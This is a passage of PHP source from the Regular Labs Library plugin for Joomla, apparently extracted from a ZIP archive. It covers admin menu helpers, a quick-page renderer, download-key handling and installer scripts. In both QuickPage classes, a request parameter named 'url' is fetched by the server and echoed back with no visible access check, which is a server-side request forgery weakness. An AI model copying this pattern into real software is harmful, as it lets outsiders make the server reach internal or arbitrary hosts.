            'file'      => $app->get('themeFile', 'index.php'),
            'params'    => $app->get('themeParams'),
            'directory' => self::getThemesDirectory(),
        ];

        // Parse the document.
        $document->parse($params);

        // Trigger the onBeforeRender event.
        JPluginHelper::importPlugin('system');
        $app->triggerEvent('onBeforeRender');

        $caching = false;

        if ($app->isClient('site') && $app->get('caching') && $app->get('caching', 2) == 2 && ! $user->get('id'))
        {
            $caching = true;
        }

        // Render the document.
        $data = $document->render($caching, $params);

        // Set the application output data.
        $app->setBody($data);

        // Trigger the onAfterRender event.
        $app->triggerEvent('onAfterRender');

        // Mark afterRender in the profiler.
        // Causes issues, so commented out.
        // JDEBUG ? $app->profiler->mark('afterRender') : null;
    }
}
PK�(]46���$system/regularlabs/src/AdminMenu.phpnu�[���<?php
/**
 * @package         Regular Labs Library
 * @version         23.2.18739
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

namespace RegularLabs\Plugin\System\RegularLabs;

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use RegularLabs\Library\RegEx as RL_RegEx;

class AdminMenu
{
    public static function addHelpItem()
    {
        $params = Params::get();

        if ( ! $params->show_help_menu)
        {
            return;
        }

        $html = JFactory::getApplication()->getBody();

        if ($html == '')
        {
            return;
        }

        $pos_1 = strpos($html, '<!-- Top Navigation -->');
        $pos_2 = strpos($html, '<!-- Header -->');

        if ( ! $pos_1 || ! $pos_2)
        {
            return;
        }

        $nav = substr($html, $pos_1, $pos_2 - $pos_1);

        $shop_item = '(\s*<li>\s*<a [^>]*class="[^"]*menu-help-)shop("\s[^>]*)href="[^"]+\.joomla\.org[^"]*"([^>]*>)[^<]*(</a>s*</li>)';

        $nav = RL_RegEx::replace(
            $shop_item,
            '\0<li class="divider"><span></span></li>\1dev\2href="https://regularlabs.com"\3Regular Labs Extensions\4',
            $nav
        );

        // Just in case something fails
        if (empty($nav))
        {
            return;
        }

        $html = substr_replace($html, $nav, $pos_1, $pos_2 - $pos_1);

        JFactory::getApplication()->setBody($html);
    }

    public static function combine()
    {
        $params = Params::get();

        if ( ! $params->combine_admin_menu)
        {
            return;
        }

        $html = JFactory::getApplication()->getBody();

        if ($html == '')
        {
            return;
        }

        if (strpos($html, '<ul id="menu"') === false
            || (strpos($html, '">Regular Labs ') === false
                && strpos($html, '" >Regular Labs ') === false)
        )
        {
            return;
        }

        if ( ! RL_RegEx::matchAll(
            '<li><a class="(?:no-dropdown )?menu-[^>]*>Regular Labs [^<]*</a></li>',
            $html,
            $matches,
            null,
            PREG_PATTERN_ORDER
        )
        )
        {
            return;
        }

        $menu_items = $matches[0];

        if (count($menu_items) < 2)
        {
            return;
        }

        $manager = null;

        foreach ($menu_items as $i => &$menu_item)
        {
            RL_RegEx::match('class="(?:no-dropdown )?menu-(.*?)"', $menu_item, $icon);

            $icon = str_replace('icon-icon-', 'icon-', 'icon-' . $icon[1]);

            $menu_item = str_replace(
                ['>Regular Labs - ', '>Regular Labs '],
                '><span class="icon-reglab ' . $icon . '"></span> ',
                $menu_item
            );

            if ($icon != 'icon-regularlabsmanager')
            {
                continue;
            }

            $manager = $menu_item;
            unset($menu_items[$i]);
        }

        $main_link = "";

        if ( ! is_null($manager))
        {
            array_unshift($menu_items, $manager);
            $main_link = 'href="index.php?option=com_regularlabsmanager"';
        }

        $new_menu_item =
            '<li class="dropdown-submenu">'
            . '<a class="dropdown-toggle menu-regularlabs" data-toggle="dropdown" ' . $main_link . '>Regular Labs</a>'
            . "\n" . '<ul id="menu-cregularlabs" class="dropdown-menu menu-scrollable menu-component">'
            . "\n" . implode("\n", $menu_items)
            . "\n" . '</ul>'
            . '</li>';

        $first = array_shift($matches[0]);

        $html = str_replace($first, $new_menu_item, $html);
        $html = str_replace($matches[0], '', $html);

        JFactory::getApplication()->setBody($html);
    }
}
PK�(]T7'system/regularlabs/src/SearchHelper.phpnu�[���<?php
/**
 * @package         Regular Labs Library
 * @version         23.2.18739
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

namespace RegularLabs\Plugin\System\RegularLabs;

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use RegularLabs\Library\Document as RL_Document;

class SearchHelper
{
    public static function load()
    {
        // Only in frontend search component view
        if ( ! RL_Document::isClient('site') || JFactory::getApplication()->input->get('option') != 'com_search')
        {
            return;
        }

        $classes = get_declared_classes();

        if (in_array('SearchModelSearch', $classes) || in_array('searchmodelsearch', $classes))
        {
            return;
        }

        require_once JPATH_LIBRARIES . '/regularlabs/helpers/search.php';
    }
}
PK�(]�3m`ZZ$system/regularlabs/src/QuickPage.phpnu�[���<?php
/**
 * @package         Regular Labs Library
 * @version         23.2.18739
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

namespace RegularLabs\Plugin\System\RegularLabs;

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Uri\Uri as JUri;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\Http as RL_Http;
use RegularLabs\Library\RegEx as RL_RegEx;

class QuickPage
{
    public static function render()
    {
        if ( ! JFactory::getApplication()->input->getInt('rl_qp', 0))
        {
            return;
        }

        $url = JFactory::getApplication()->input->getString('url', '');

        if ($url)
        {
            echo RL_Http::getFromServer($url, JFactory::getApplication()->input->getInt('timeout', ''));

            die;
        }

        $allowed = [
            'administrator/components/com_dbreplacer/ajax.php',
            'administrator/modules/mod_addtomenu/popup.php',
            'media/rereplacer/images/popup.php',
            'plugins/editors-xtd/articlesanywhere/popup.php',
            'plugins/editors-xtd/conditionalcontent/popup.php',
            'plugins/editors-xtd/contenttemplater/data.php',
            'plugins/editors-xtd/contenttemplater/popup.php',
            'plugins/editors-xtd/dummycontent/popup.php',
            'plugins/editors-xtd/modals/popup.php',
            'plugins/editors-xtd/modulesanywhere/popup.php',
            'plugins/editors-xtd/sliders/data.php',
            'plugins/editors-xtd/sliders/popup.php',
            'plugins/editors-xtd/snippets/popup.php',
            'plugins/editors-xtd/sourcerer/popup.php',
            'plugins/editors-xtd/tabs/data.php',
            'plugins/editors-xtd/tabs/popup.php',
            'plugins/editors-xtd/tooltips/popup.php',
        ];

        $file   = JFactory::getApplication()->input->getString('file', '');
        $folder = JFactory::getApplication()->input->getString('folder', '');

        if ($folder)
        {
            $file = implode('/', explode('.', $folder)) . '/' . $file;
        }

        if ( ! $file || in_array($file, $allowed) === false)
        {
            die;
        }

        jimport('joomla.filesystem.file');

        if (RL_Document::isClient('site'))
        {
            JFactory::getApplication()->setTemplate('../administrator/templates/isis');
        }

        $_REQUEST['tmpl'] = 'component';
        JFactory::getApplication()->input->set('option', 'com_content');

        switch (JFactory::getApplication()->input->getCmd('format', 'html'))
        {
            case 'json' :
                $format = 'application/json';
                break;

            default:
            case 'html' :
                $format = 'text/html';
                break;
        }

        header('Content-Type: ' . $format . '; charset=utf-8');
        JHtml::_('bootstrap.framework');
        JFactory::getDocument()->addScript(
            JUri::root(true) . '/administrator/templates/isis/js/template.js'
        );
        JFactory::getDocument()->addStylesheet(
            JUri::root(true) . '/administrator/templates/isis/css/template' . (JFactory::getDocument()->direction === 'rtl' ? '-rtl' : '') . '.css'
        );

        RL_Document::style('regularlabs/popup.min.css');

        $file = JPATH_SITE . '/' . $file;

        $html = '';
        if (is_file($file))
        {
            ob_start();
            include $file;
            $html = ob_get_contents();
            ob_end_clean();
        }

        RL_Document::setComponentBuffer($html);

        $app = new Application;
        $app->render();

        $html = JFactory::getApplication()->getBody();

        $html = RL_RegEx::replace('\s*<link [^>]*href="[^"]*templates/system/[^"]*\.css[^"]*"[^>]*( /)?>', '', $html);
        $html = RL_RegEx::replace('(<body [^>]*class=")', '\1reglab-popup ', $html);
        $html = str_replace('<body>', '<body class="reglab-popup"', $html);

        // Move the template css down to last
        $html = RL_RegEx::replace('(<link [^>]*href="[^"]*templates/isis/[^"]*\.css[^"]*"[^>]*(?: /)?>\s*)(.*?)(<script)', '\2\1\3', $html);

        echo $html;

        die;
    }
}
PK�(]�g3��	�	&system/regularlabs/src/DownloadKey.phpnu�[���<?php
/**
 * @package         Regular Labs Library
 * @version         23.2.18739
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

namespace RegularLabs\Plugin\System\RegularLabs;

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\RegEx as RL_RegEx;

class DownloadKey
{
    public static function cloak()
    {
        // Save the download key from the Regular Labs Extension Manager config to the update sites
        if (
            RL_Document::isClient('site')
            || JFactory::getApplication()->input->get('option') != 'com_installer'
            || JFactory::getApplication()->input->get('view') != 'updatesites'
        )
        {
            return;
        }

        $html = JFactory::getApplication()->getBody();

        RL_RegEx::matchAll('(regularlabs\.com[^<]*</a>\s*<br/?>\s*<pre>k=)(.*?)([A-Z0-9]{4}</pre>)', $html, $matches);

        foreach ($matches as $match)
        {
            $cloaked_key = str_repeat('*', strlen($match[2]));

            $html = str_replace(
                $match[0],
                $match[1] . $cloaked_key . $match[3],
                $html
            );
        }

        JFactory::getApplication()->setBody($html);
    }

    public static function update()
    {
        // Save the download key from the Regular Labs Extension Manager config to the update sites
        if (
            RL_Document::isClient('site')
            || JFactory::getApplication()->input->get('option') != 'com_config'
            || JFactory::getApplication()->input->get('task') != 'config.save.component.apply'
            || JFactory::getApplication()->input->get('component') != 'com_regularlabsmanager'
        )
        {
            return;
        }

        $form = JFactory::getApplication()->input->post->get('jform', [], 'array');

        if ( ! isset($form['key']))
        {
            return;
        }

        $key = $form['key'];

        $db = JFactory::getDbo();

        $query = $db->getQuery(true)
            ->update('#__update_sites')
            ->set($db->quoteName('extra_query') . ' = ' . $db->quote('k=' . $key))
            ->where($db->quoteName('location') . ' LIKE ' . $db->quote('%download.regularlabs.com%'));
        $db->setQuery($query);
        $db->execute();
    }
}
PK�(]���}}%system/regularlabs/script.install.phpnu�[���<?php
/**
 * @package         Regular Labs Library
 * @version         16.5.10919
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2016 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

require_once __DIR__ . '/script.install.helper.php';

class PlgSystemRegularLabsInstallerScript extends PlgSystemRegularLabsInstallerScriptHelper
{
	public $name           = 'REGULAR_LABS_LIBRARY';
	public $alias          = 'regularlabs';
	public $extension_type = 'plugin';
	public $show_message   = false;

	public function onBeforeInstall()
	{
		if (!$this->isNewer())
		{
			return false;
		}
	}

	public function uninstall($adapter)
	{
		$this->deleteFolders(
			array(
				JPATH_LIBRARIES . '/regularlabs',
			)
		);
	}
}
PK�(]��$��(system/regularlabs/helpers/adminmenu.phpnu�[���<?php
/**
 * @package         Regular Labs Library
 * @version         16.5.10919
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2016 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

class PlgSystemRegularLabsAdminMenuHelper
{
	public function combine()
	{
		$html = JFactory::getApplication()->getBody();

		if ($html == '')
		{
			return;
		}

		if (strpos($html, '<ul id="menu"') === false
			|| strpos($html, '">Regular Labs ') === false
		)
		{
			return;
		}

		if (!preg_match_all('#<li><a class="menu-[^>]*>Regular Labs [^<]*</a></li>#si', $html, $matches))
		{
			return;
		}

		$menu_items = $matches['0'];

		if (count($menu_items) < 2)
		{
			return;
		}

		$manager = null;

		foreach ($menu_items as $i => &$menu_item)
		{
			preg_match('#class="menu-(.*?)"#s', $menu_item, $icon);

			$menu_item = str_replace(
				array('>Regular Labs - ', '>Regular Labs '),
				'><span class="icon-reglab icon-' . $icon['1'] . '"></span> ',
				$menu_item
			);

			if ($icon['1'] != 'regularlabsmanager')
			{
				continue;
			}

			$manager = $menu_item;
			unset($menu_items[$i]);
		}

		$main_link = "";

		if (!is_null($manager))
		{
			array_unshift($menu_items, $manager);
			$main_link = 'href="index.php?option=com_regularlabsmanager"';
		}

		$new_menu_item =
			'<li class="dropdown-submenu">'
			. '<a class="dropdown-toggle menu-regularlabs" data-toggle="dropdown" ' . $main_link . '>Regular Labs</a>'
			. '<ul id="menu-cregularlabs" class="dropdown-menu menu-component">'
			. implode('', $menu_items)
			. '</ul>'
			. '</li>';

		$first = array_shift($matches['0']);

		$html = str_replace($first, $new_menu_item, $html);
		$html = str_replace($matches['0'], '', $html);

		JFactory::getApplication()->setBody($html);
	}
}

PK�(]X���dd(system/regularlabs/helpers/quickpage.phpnu�[���<?php
/**
 * @package         Regular Labs Library
 * @version         16.5.10919
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2016 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

require_once JPATH_LIBRARIES . '/regularlabs/helpers/functions.php';

/**
 * Regular Labs Quick Page stuff (rl_qp=1 in url)
 */
class PlgSystemRegularLabsQuickPageHelper
{
	function render()
	{
		$url = JFactory::getApplication()->input->getString('url', '');

		if ($url)
		{
			echo RLFunctions::getByUrl($url);

			die;
		}

		$allowed = array(
			'administrator/components/com_dbreplacer/ajax.php',
			'administrator/modules/mod_addtomenu/popup.php',
			'media/rereplacer/images/popup.php',
			'plugins/editors-xtd/articlesanywhere/popup.php',
			'plugins/editors-xtd/contenttemplater/data.php',
			'plugins/editors-xtd/contenttemplater/popup.php',
			'plugins/editors-xtd/dummycontent/popup.php',
			'plugins/editors-xtd/modals/popup.php',
			'plugins/editors-xtd/modulesanywhere/popup.php',
			'plugins/editors-xtd/sliders/data.php',
			'plugins/editors-xtd/sliders/popup.php',
			'plugins/editors-xtd/snippets/popup.php',
			'plugins/editors-xtd/sourcerer/popup.php',
			'plugins/editors-xtd/tabs/data.php',
			'plugins/editors-xtd/tabs/popup.php',
			'plugins/editors-xtd/tooltips/popup.php',
		);

		$file   = JFactory::getApplication()->input->getString('file', '');
		$folder = JFactory::getApplication()->input->getString('folder', '');

		if ($folder)
		{
			$file = implode('/', explode('.', $folder)) . '/' . $file;
		}

		if (!$file || in_array($file, $allowed) === false)
		{
			die;
		}

		jimport('joomla.filesystem.file');

		if (JFactory::getApplication()->isSite())
		{
			JFactory::getApplication()->setTemplate('../administrator/templates/isis');
		}

		$_REQUEST['tmpl'] = 'component';
		JFactory::getApplication()->input->set('option', 'com_content');

		switch (JFactory::getApplication()->input->getCmd('format', 'html'))
		{
			case 'json' :
				$format = 'application/json';
				break;

			default:
			case 'html' :
				$format = 'text/html';
				break;
		}

		header('Content-Type: ' . $format . '; charset=utf-8');
		JHtml::_('bootstrap.framework');
		JFactory::getDocument()->addScript(JUri::root(true) . '/administrator/templates/isis/js/template.js');
		JFactory::getDocument()->addStyleSheet(JUri::root(true) . '/administrator/templates/isis/css/template.css');

		RLFunctions::stylesheet('regularlabs/popup.min.css', '16.5.10919');

		$file = JPATH_SITE . '/' . $file;

		$html = '';
		if (JFile::exists($file))
		{
			ob_start();
			include $file;
			$html = ob_get_contents();
			ob_end_clean();
		}

		JFactory::getDocument()->setBuffer($html, 'component');

		RLApplication::render();

		$html = JFactory::getApplication()->toString(JFactory::getApplication()->getCfg('gzip'));
		$html = preg_replace('#\s*<' . 'link [^>]*href="[^"]*templates/system/[^"]*\.css[^"]*"[^>]*( /)?>#s', '', $html);
		$html = preg_replace('#(<' . 'body [^>]*class=")#s', '\1reglab-popup ', $html);
		$html = str_replace('<' . 'body>', '<' . 'body class="reglab-popup"', $html);

		echo $html;

		die;
	}
}

class RLApplication
{
	static function render()
	{
		$app = JFactory::getApplication();

		$options = array();
		// Setup the document options.
		$options['template']  = $app->get('theme');
		$options['file']      = $app->get('themeFile', 'index.php');
		$options['params']    = $app->get('themeParams');
		$options['directory'] = self::getThemesDirectory();

		// Parse the document.
		JFactory::getDocument()->parse($options);

		// Trigger the onBeforeRender event.
		JPluginHelper::importPlugin('system');
		$app->triggerEvent('onBeforeRender');

		$caching = false;

		if ($app->isSite() && $app->get('caching') && $app->get('caching', 2) == 2 && !JFactory::getUser()->get('id'))
		{
			$caching = true;
		}

		// Render the document.
		$data = JFactory::getDocument()->render($caching, $options);

		// Set the application output data.
		$app->setBody($data);

		// Trigger the onAfterRender event.
		$app->triggerEvent('onAfterRender');

		// Mark afterRender in the profiler.
		// Causes issues, so commented out.
		// JDEBUG ? $app->profiler->mark('afterRender') : null;
	}

	static function getThemesDirectory()
	{
		if (JFactory::getApplication()->get('themes.base'))
		{
			return JFactory::getApplication()->get('themes.base');
		}

		if (defined('JPATH_THEMES'))
		{
			return JPATH_THEMES;
		}

		if (defined('JPATH_BASE'))
		{
			return JPATH_BASE . '/themes';
		}

		return __DIR__ . '/themes';
	}
}
PK�(]J���DD,system/regularlabs/script.install.helper.phpnu�[���<?php
/**
 * @package         Regular Labs Library
 * @version         16.5.10919
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2016 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

class PlgSystemRegularLabsInstallerScriptHelper
{
	public $name            = '';
	public $alias           = '';
	public $extname         = '';
	public $extension_type  = '';
	public $plugin_folder   = 'system';
	public $module_position = 'status';
	public $client_id       = 1;
	public $install_type    = 'install';
	public $show_message    = true;
	public $db              = null;

	public function __construct(&$params)
	{
		$this->extname = $this->extname ?: $this->alias;
		$this->db      = JFactory::getDbo();
	}

	public function preflight($route, JAdapterInstance $adapter)
	{
		if (!in_array($route, array('install', 'update')))
		{
			return;
		}

		JFactory::getLanguage()->load('plg_system_regularlabsinstaller', JPATH_PLUGINS . '/system/regularlabsinstaller');

		if ($this->show_message && $this->isInstalled())
		{
			$this->install_type = 'update';
		}

		if ($this->onBeforeInstall() === false)
		{
			return false;
		}
	}

	public function postflight($route, JAdapterInstance $adapter)
	{
		$this->removeGlobalLanguageFiles();
		$this->removeUnusedLanguageFiles();

		JFactory::getLanguage()->load($this->getPrefix() . '_' . $this->extname, $this->getMainFolder());

		if (!in_array($route, array('install', 'update')))
		{
			return;
		}

		$this->updateUpdateSites();
		$this->removeAdminCache();

		if ($this->onAfterInstall() === false)
		{
			return false;
		}

		if ($route == 'install')
		{
			$this->publishExtension();
		}

		if ($this->show_message)
		{
			$this->addInstalledMessage();
		}

		JFactory::getCache()->clean('com_plugins');
		JFactory::getCache()->clean('_system');
	}

	public function isInstalled()
	{
		if (!is_file($this->getInstalledXMLFile()))
		{
			return false;
		}

		$query = $this->db->getQuery(true)
			->select('extension_id')
			->from('#__extensions')
			->where($this->db->quoteName('type') . ' = ' . $this->db->quote($this->extension_type))
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->getElementName()));
		$this->db->setQuery($query, 0, 1);
		$result = $this->db->loadResult();

		return empty($result) ? false : true;
	}

	public function getMainFolder()
	{
		switch ($this->extension_type)
		{
			case 'plugin' :
				return JPATH_SITE . '/plugins/' . $this->plugin_folder . '/' . $this->extname;

			case 'component' :
				return JPATH_ADMINISTRATOR . '/components/com_' . $this->extname;

			case 'module' :
				return JPATH_ADMINISTRATOR . '/modules/mod_' . $this->extname;

			case 'library' :
				return JPATH_SITE . '/libraries/' . $this->extname;
		}
	}

	public function getInstalledXMLFile()
	{
		return $this->getXMLFile($this->getMainFolder());
	}

	public function getCurrentXMLFile()
	{
		return $this->getXMLFile(__DIR__);
	}

	public function getXMLFile($folder)
	{
		switch ($this->extension_type)
		{
			case 'module' :
				return $folder . '/mod_' . $this->extname . '.xml';

			default :
				return $folder . '/' . $this->extname . '.xml';
		}
	}

	public function uninstallExtension($extname, $type = 'plugin', $folder = 'system', $show_message = true)
	{
		if (empty($extname))
		{
			return;
		}

		$folders = array();

		switch ($type)
		{
			case 'plugin';
				$folders[] = JPATH_SITE . '/plugins/' . $folder . '/' . $extname;
				break;

			case 'component':
				$folders[] = JPATH_ADMINISTRATOR . '/components/com_' . $extname;
				$folders[] = JPATH_SITE . '/components/com_' . $extname;
				break;

			case 'module':
				$folders[] = JPATH_ADMINISTRATOR . '/modules/mod_' . $extname;
				$folders[] = JPATH_SITE . '/modules/mod_' . $extname;
				break;
		}

		if (!$this->foldersExist($folders))
		{
			return;
		}

		$query = $this->db->getQuery(true)
			->select('extension_id')
			->from('#__extensions')
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->getElementName($type, $extname)))
			->where($this->db->quoteName('type') . ' = ' . $this->db->quote($type));

		if ($type == 'plugin')
		{
			$query->where($this->db->quoteName('folder') . ' = ' . $this->db->quote($folder));
		}

		$this->db->setQuery($query);
		$ids = $this->db->loadColumn();

		if (empty($ids))
		{
			foreach ($folders as $folder)
			{
				JFolder::delete($folder);
			}

			return;
		}

		$ignore_ids = JFactory::getApplication()->getUserState('rl_ignore_uninstall_ids', array());

		if (JFactory::getApplication()->input->get('option') == 'com_installer' && JFactory::getApplication()->input->get('task') == 'remove')
		{
			// Don't attempt to uninstall extensions that are already selected to get uninstalled by them selves
			$ignore_ids = array_merge($ignore_ids, JFactory::getApplication()->input->get('cid', array(), 'array'));
			JFactory::getApplication()->input->set('cid', array_merge($ignore_ids, $ids));
		}

		$ids = array_diff($ids, $ignore_ids);

		if (empty($ids))
		{
			return;
		}

		$ignore_ids = array_merge($ignore_ids, $ids);
		JFactory::getApplication()->setUserState('rl_ignore_uninstall_ids', $ignore_ids);

		foreach ($ids as $id)
		{
			$tmpInstaller = new JInstaller;
			$tmpInstaller->uninstall($type, $id);
		}

		if ($show_message)
		{
			JFactory::getApplication()->enqueueMessage(
				JText::sprintf(
					'COM_INSTALLER_UNINSTALL_SUCCESS',
					JText::_('COM_INSTALLER_TYPE_TYPE_' . strtoupper($type))
				)
			);
		}
	}

	public function foldersExist($folders = array())
	{
		foreach ($folders as $folder)
		{
			if (is_dir($folder))
			{
				return true;
			}
		}

		return false;
	}

	public function uninstallPlugin($extname, $folder = 'system', $show_message = true)
	{
		$this->uninstallExtension($extname, 'plugin', $folder, $show_message);
	}

	public function uninstallComponent($extname, $show_message = true)
	{
		$this->uninstallExtension($extname, 'component', null, $show_message);
	}

	public function uninstallModule($extname, $show_message = true)
	{
		$this->uninstallExtension($extname, 'module', null, $show_message);
	}

	public function publishExtension()
	{
		switch ($this->extension_type)
		{
			case 'plugin' :
				$this->publishPlugin();

			case 'module' :
				$this->publishModule();
		}
	}

	public function publishPlugin()
	{
		$query = $this->db->getQuery(true)
			->update('#__extensions')
			->set($this->db->quoteName('enabled') . ' = 1')
			->where($this->db->quoteName('type') . ' = ' . $this->db->quote('plugin'))
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->extname))
			->where($this->db->quoteName('folder') . ' = ' . $this->db->quote($this->plugin_folder));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	public function publishModule()
	{
		// Get module id
		$query = $this->db->getQuery(true)
			->select('id')
			->from('#__modules')
			->where($this->db->quoteName('module') . ' = ' . $this->db->quote('mod_' . $this->extname))
			->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id);
		$this->db->setQuery($query, 0, 1);
		$id = $this->db->loadResult();

		if (!$id)
		{
			return;
		}

		// check if module is already in the modules_menu table (meaning is is already saved)
		$query->clear()
			->select('moduleid')
			->from('#__modules_menu')
			->where($this->db->quoteName('moduleid') . ' = ' . (int) $id);
		$this->db->setQuery($query, 0, 1);
		$exists = $this->db->loadResult();

		if ($exists)
		{
			return;
		}

		// Get highest ordering number in position
		$query->clear()
			->select('ordering')
			->from('#__modules')
			->where($this->db->quoteName('position') . ' = ' . $this->db->quote($this->module_position))
			->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id)
			->order('ordering DESC');
		$this->db->setQuery($query, 0, 1);
		$ordering = $this->db->loadResult();
		$ordering++;

		// publish module and set ordering number
		$query->clear()
			->update('#__modules')
			->set($this->db->quoteName('published') . ' = 1')
			->set($this->db->quoteName('ordering') . ' = ' . (int) $ordering)
			->set($this->db->quoteName('position') . ' = ' . $this->db->quote($this->module_position))
			->where($this->db->quoteName('id') . ' = ' . (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();

		// add module to the modules_menu table
		$query->clear()
			->insert('#__modules_menu')
			->columns(array($this->db->quoteName('moduleid'), $this->db->quoteName('menuid')))
			->values((int) $id . ', 0');
		$this->db->setQuery($query);
		$this->db->execute();
	}

	public function addInstalledMessage()
	{
		JFactory::getApplication()->enqueueMessage(
			JText::sprintf(
				JText::_($this->install_type == 'update' ? 'RLI_THE_EXTENSION_HAS_BEEN_UPDATED_SUCCESSFULLY' : 'RLI_THE_EXTENSION_HAS_BEEN_INSTALLED_SUCCESSFULLY'),
				'<strong>' . JText::_($this->name) . '</strong>',
				'<strong>' . $this->getVersion() . '</strong>',
				$this->getFullType()
			)
		);
	}

	public function getPrefix()
	{
		switch ($this->extension_type)
		{
			case 'plugin';
				return JText::_('plg_' . strtolower($this->plugin_folder));

			case 'component':
				return JText::_('com');

			case 'module':
				return JText::_('mod');

			case 'library':
				return JText::_('lib');

			default:
				return $this->extension_type;
		}
	}

	public function getElementName($type = null, $extname = null)
	{
		$type    = is_null($type) ? $this->extension_type : $type;
		$extname = is_null($extname) ? $this->extname : $extname;

		switch ($type)
		{
			case 'component' :
				return 'com_' . $extname;

			case 'module' :
				return 'mod_' . $extname;

			case 'plugin' :
			default:
				return $extname;
		}
	}

	public function getFullType()
	{
		return JText::_('RLI_' . strtoupper($this->getPrefix()));
	}

	public function getVersion($file = '')
	{
		$file = $file ?: $this->getCurrentXMLFile();

		if (!is_file($file))
		{
			return '';
		}

		$xml = JApplicationHelper::parseXMLInstallFile($file);

		if (!$xml || !isset($xml['version']))
		{
			return '';
		}

		return $xml['version'];
	}

	public function isNewer()
	{
		if (!$installed_version = $this->getVersion($this->getInstalledXMLFile()))
		{
			return true;
		}

		$package_version = $this->getVersion();

		return version_compare($installed_version, $package_version, '<=');
	}

	public function canInstall()
	{
		// The extension is not installed yet
		if (!$installed_version = $this->getVersion($this->getInstalledXMLFile()))
		{
			return true;
		}

		// The free version is installed. So any version is ok to install
		if (strpos($installed_version, 'PRO') === false)
		{
			return true;
		}

		// Current package is a pro version, so all good
		if (strpos($this->getVersion(), 'PRO') !== false)
		{
			return true;
		}

		JFactory::getLanguage()->load($this->getPrefix() . '_' . $this->extname, __DIR__);

		JFactory::getApplication()->enqueueMessage(JText::_('RLI_ERROR_PRO_TO_FREE'), 'error');

		JFactory::getApplication()->enqueueMessage(
			html_entity_decode(
				JText::sprintf(
					'RLI_ERROR_UNINSTALL_FIRST',
					'<a href="https://www.regularlabs.com/extensions/' . $this->alias . '" target="_blank">',
					'</a>',
					JText::_($this->name)
				)
			), 'error'
		);

		return false;
	}

	/*
	 * Fixes incorrectly formed versions because of issues in old packager
	 */
	public function fixFileVersions($file)
	{
		if (is_array($file))
		{
			foreach ($file as $f)
			{
				self::fixFileVersions($f);
			}

			return;
		}

		if (!is_string($file) || !is_file($file))
		{
			return;
		}

		$contents = file_get_contents($file);

		if (
			strpos($contents, 'FREEFREE') === false
			&& strpos($contents, 'FREEPRO') === false
			&& strpos($contents, 'PROFREE') === false
			&& strpos($contents, 'PROPRO') === false
		)
		{
			return;
		}

		$contents = str_replace(
			array('FREEFREE', 'FREEPRO', 'PROFREE', 'PROPRO'),
			array('FREE', 'PRO', 'FREE', 'PRO'),
			$contents
		);

		JFile::write($file, $contents);
	}

	public function onBeforeInstall()
	{
		if (!$this->canInstall())
		{
			return false;
		}
	}

	public function onAfterInstall()
	{
	}

	public function deleteFolders($folders = array())
	{
		foreach ($folders as $folder)
		{
			if (!is_dir($folder))
			{
				continue;
			}

			JFolder::delete($folder);
		}
	}

	public function fixAssetsRules($rules = '{"core.admin":[],"core.manage":[]}')
	{
		// replace default rules value {} with the correct initial value
		$query = $this->db->getQuery(true)
			->update($this->db->quoteName('#__assets'))
			->set($this->db->quoteName('rules') . ' = ' . $this->db->quote($rules))
			->where($this->db->quoteName('title') . ' = ' . $this->db->quote('com_' . $this->extname))
			->where($this->db->quoteName('rules') . ' = ' . $this->db->quote('{}'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function updateUpdateSites()
	{
		$this->removeOldUpdateSites();
		$this->updateNamesInUpdateSites();
		$this->updateDownloadKey();
	}

	private function removeOldUpdateSites()
	{
		$query = $this->db->getQuery(true)
			->select('update_site_id')
			->from('#__update_sites')
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('nonumber.nl%'))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%e=' . $this->alias . '%'));
		$this->db->setQuery($query, 0, 1);
		$id = $this->db->loadResult();

		if (!$id)
		{
			return;
		}

		$query->clear()
			->delete('#__update_sites')
			->where($this->db->quoteName('update_site_id') . ' = ' . (int) $id);
		$this->db->setQuery($query);
